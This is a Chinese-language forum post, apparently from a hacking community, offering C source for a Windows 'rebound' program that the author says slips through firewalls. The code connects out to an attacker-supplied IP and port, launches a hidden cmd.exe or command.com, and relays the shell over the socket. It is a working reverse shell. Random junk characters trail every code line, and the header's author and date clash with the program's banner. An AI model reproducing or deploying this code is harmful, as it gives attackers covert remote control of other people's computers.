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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n{' [[2U  
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/* ============================== q9WSQ$:z8  
Rebound port in Windows NT 5K6_#g4"  
By wind,2006/7 MB"?^~Sm  
===============================*/ Va*Uwy?x/)  
#include s9[v_(W  
#include At bqj?  
4qm5`o\hb  
#pragma comment(lib,"wsock32.lib") eEc;w#  
p Y>yJ)  
void OutputShell(); Ca1)>1 Vz  
SOCKET sClient; u5CT7_#)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &_90E  
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void main(int argc,char **argv) b0t];Gc%b  
{ H8-,gV  
WSADATA stWsaData; %] #; ~I%  
int nRet; Yaa M-o  
SOCKADDR_IN stSaiClient,stSaiServer; q75F^AvH  
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if(argc != 3) %74 Ms  
{ HWefuj  
printf("Useage:\n\rRebound DestIP DestPort\n"); XIp9=jhSR  
return; 3.dUMJ$_  
} jZ{S{"j  
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WSAStartup(MAKEWORD(2,2),&stWsaData); aF;&#TsB  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %ri4nKGS  
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stSaiClient.sin_family = AF_INET; E$ngmm[  
stSaiClient.sin_port = htons(0); g3Xz-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <hK$Cf_  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q]r!5&Z  
{ "BVz5?  
printf("Bind Socket Failed!\n"); n~)Y%xe[U  
return; =V,'f  
} @`_j't,  
&^uzg&,;  
stSaiServer.sin_family = AF_INET; U/iAP W4U  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6=@n b3D%  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Uv+pdRXn  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?D\%ZXo  
{ _$bx4a  
printf("Connect Error!"); Z?X$8o^Z  
return; )>Lsj1qk  
} {!/y@/NK2  
OutputShell(); V.-?aXQ*  
} !}3`Pl.(r  
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void OutputShell() C`jP8"-  
{ <HzAh<_@F  
char szBuff[1024]; \YKh'|04  
SECURITY_ATTRIBUTES stSecurityAttributes; PCLSY8N  
OSVERSIONINFO stOsversionInfo; 9e1 6 g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AngECkF-  
STARTUPINFO stStartupInfo; -pD&@Wlwak  
char *szShell; `?D_=Gw  
PROCESS_INFORMATION stProcessInformation; mhVoz0%1X  
unsigned long lBytesRead; @"/}Al  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P5d@-l%}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nEp'l.T  
stSecurityAttributes.lpSecurityDescriptor = 0; |,7J!7T(I  
stSecurityAttributes.bInheritHandle = TRUE; @LE?XlhD  
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F d\XDc[g  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V?O%kd  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o6y,M!p@  
y(]|jRo  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dH/t|.%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :U:7iP:  
stStartupInfo.wShowWindow = SW_HIDE; z\E "={P&  
stStartupInfo.hStdInput = hReadPipe; \=@r1[d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QhG-1P3#  
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GetVersionEx(&stOsversionInfo); 4bxkp3~h;  
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switch(stOsversionInfo.dwPlatformId) &Bp\kv  
{ |be r:1  
case 1: ZKR z=(  
szShell = "command.com"; (k5DbP[  
break; wr$}AX  
default:  g_>ZE  
szShell = "cmd.exe"; -oZ a c  
break; wqwJpWIe  
} t@u\ 4bv  
cV{ZD q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `HM3YC  
n>E*g|a  
send(sClient,szMsg,77,0); R_qo]WvR;  
while(1) VA%"IAl  
{ Fkz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); B@;)$1-UT  
if(lBytesRead) YEQW:r_h.S  
{ &CL|q+-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZM vTDH!  
send(sClient,szBuff,lBytesRead,0); 6|KX8\, A@  
} TN %"RL  
else bg,}J/  
{ r9M={jC  
lBytesRead=recv(sClient,szBuff,1024,0); Z M+Hb_6f  
if(lBytesRead<=0) break; tRy D@}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FR}H$R7#  
} . ?p}:  
} 2 &Byq  
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return; [\b_+s)eN  
}
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